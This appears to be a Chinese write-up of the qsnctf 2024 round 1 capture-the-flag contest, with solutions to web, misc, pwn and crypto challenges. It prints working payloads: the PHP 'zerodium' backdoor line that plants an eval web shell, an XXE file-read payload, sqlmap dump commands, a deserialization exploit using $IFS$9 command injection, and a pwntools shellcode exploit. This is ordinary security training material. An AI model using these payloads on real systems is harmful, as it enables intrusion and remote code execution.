qsnctf2024-round1-wp
WEB
PHP的后门
bp抓包发现版本为8.0.1,网上搜到poc:
直接
User-Agentt: zerodiumfile_put_contents('indexs111.php','<?php eval($_POST["cmd"]);?>');
挂马,然后直接访问RCE。
EasyMD5
MD5弱比较,写两个pdf文件,一个是QNKCDZO,另一个是240610708,0e绕过发包出了:
PHP的XXE
网上有poc:
post打simplexml_load_string.php,xxe处路径穿越读flag交了:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///../../../flag" > ]> <root> <name>&xxe;</name> </root>
Easy_SQLi
没有waf的时间盲注,sqlmap一把梭:
python sqlmap.py -r "C:\Users\75279\Desktop\1.txt" --dbs python sqlmap.py -r "C:\Users\75279\Desktop\1.txt" -D "qsnctf" --tables python sqlmap.py -r "C:\Users\75279\Desktop\1.txt" -D "qsnctf" -T "users" --columns python sqlmap.py -r "C:\Users\75279\Desktop\1.txt" -D "qsnctf" -T "users" -C "password" --dump
雏形系统
www.zip获得源码,找到php混淆解密,一个个echo:
拿到源码,直接反序列化开打:
exp:
<?php class shi { public $next; //=new Demo() public $pass; //=ls } class wo { public $sex; //='boy' public $age; //='eighteen' public $intention; //new shi() } class Demo { public $a; } $s = new shi(); $w = new wo(); $d = new Demo(); $s->next = $d; $s->pass = "cat\$IFS\$9/flag"; $w->sex = 'boy'; $w->age = 'eighteen'; $w->intention = $s; echo urlencode((serialize($w))); ?>
username传参打反序列化,password传system直接getshell(空格好像失效了,不知道是不是被ban了,用$IFS$9绕过)。
xinxiangoa(unsolved)
网上找到默认账号密码admin/123456登录进去,然后进管理系统,没啥东西,www.zip获取源码,查看到文件上传功能:
里面还有个phpinfo的php文件,可以访问。
但是我试用base64传文件传上去后访问不了,显示无此资源,猜测不是简单的任意文件上传漏洞。
代码能看到还有cookie和sql这些东西,暂时未审计完成......
MISC
CTFer Revenge
写个python把文件内容reverse一下,得到压缩包文件hexstring,提取出十六进制字符串转得到原压缩包:
# 从formatted.txt文件读取十六进制字符串 with open('formatted.txt', 'r') as file: hex_string = file.read() # 将十六进制字符串转换为二进制数据 binary_data = bytes.fromhex(hex_string) # 将二进制数据保存为.zip文件 with open('reconstructed_file.zip', 'wb') as f: f.write(binary_data)
打开发现弱密码hint:
然后弱密码字典爆破出了:
最后读一下那个图先左后右最后中间:
qsnctf{b414e3e3a6449ddba0997db259203eb7}
追光者
抽象杂糅怪题,但是都懂了确实很巩固知识。
拿到的是加密压缩包,其实是伪加密:
改成00开了。
打开是一张图和一个txt,txt没啥用,jpg最后发现编码,magic一下:
拿到这个密码都是小写的hint,但是很搞,还是不知道啥是密码。
把图片binwalk一下,发现俩jpg:
foremost分离:
分了个zip出来,我去......
但是没密码啊,还有一半在里面梭不出来咋办。
突然想到前面的俩jpg,但是binwalk没分出来,咋说?
手动分离:
再看这个打不开的图片,结果看到了AB这个字节有点可疑,嗦一下:
爽了,得到密码:
iam5thplayer
(er是后面加的)
开:
出了一半:
外面一个闪,里面一个闪,一眼丁真明文攻击,但是archpr一直跑不出来,用bkcrack先数据压缩:
来自:cyi青少年CTF擂台挑战赛 2024 #Round 1 wp - ^cyi^ - 博客园 (cnblogs.com)
密码:G3r1ing!
txt.galf出了:
反转一下,得flag:
qsnctf{NE73R_G1V3_U1o}
PWN
简单的数学题
exp:
import re file_path = "./file.txt" # 替换为您的文本文件路径 hex_pattern = r'[0-9a-fA-F]{2}' # 匹配两个十六进制字符 visible_chars = [] with open(file_path, 'r') as file: for line in file: matches = re.findall(hex_pattern, line) # 查找所有匹配的十六进制数 for hex_str in matches: decimal_value = int(hex_str, 16) if 32 <= decimal_value <= 126: visible_chars.append(chr(decimal_value)) print("满足要求的可见ASCII字符:") visible_chars.reverse() # 反转列表 output = " ".join(visible_chars) # 消除空格 output = output.replace(" ", "") print(output) # 匹配是否存在连续的 "ctf" 字符串 match = re.search(r'ctf', output) if match: print("存在连续的 'ctf' 字符串") else: print("未找到连续的 'ctf' 字符串")
Easy_Shellcode
exp:
from pwn import* from LibcSearcher import* context(os = 'linux',arch = 'amd64',log_level = 'debug') #libc = ELF('/mnt/hgfs/Ubuntu_share/all_libc/amd64/16libc-2.23.so') #path = './libc.6.so' #libc = ELF(libcpath) debug = 1 if debug: p = remote('challenge.qsnctf.com', 31071) else: elf=ELF('./easy-shellcode') p = process("./easy-shellcode") #gdb.attach(p) p.recvuntil(b'0x') rsp_addr = int(p.recv(12), 16) success('rsp_addr = ' + hex(rsp_addr)) payload = asm(shellcraft.sh()) payload = payload.ljust(264,b'a') + p64(rsp_addr) p.sendline(payload) p.interactive()
Crypto
解个方程
import gmpy2 p = 22850338636551394488742626874818079331 q = 165367515534235904322509790004786720517 e = 65537 n = p * q phi_n = (p - 1) * (q - 1) d = gmpy2.invert(e, phi_n) print(d)
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理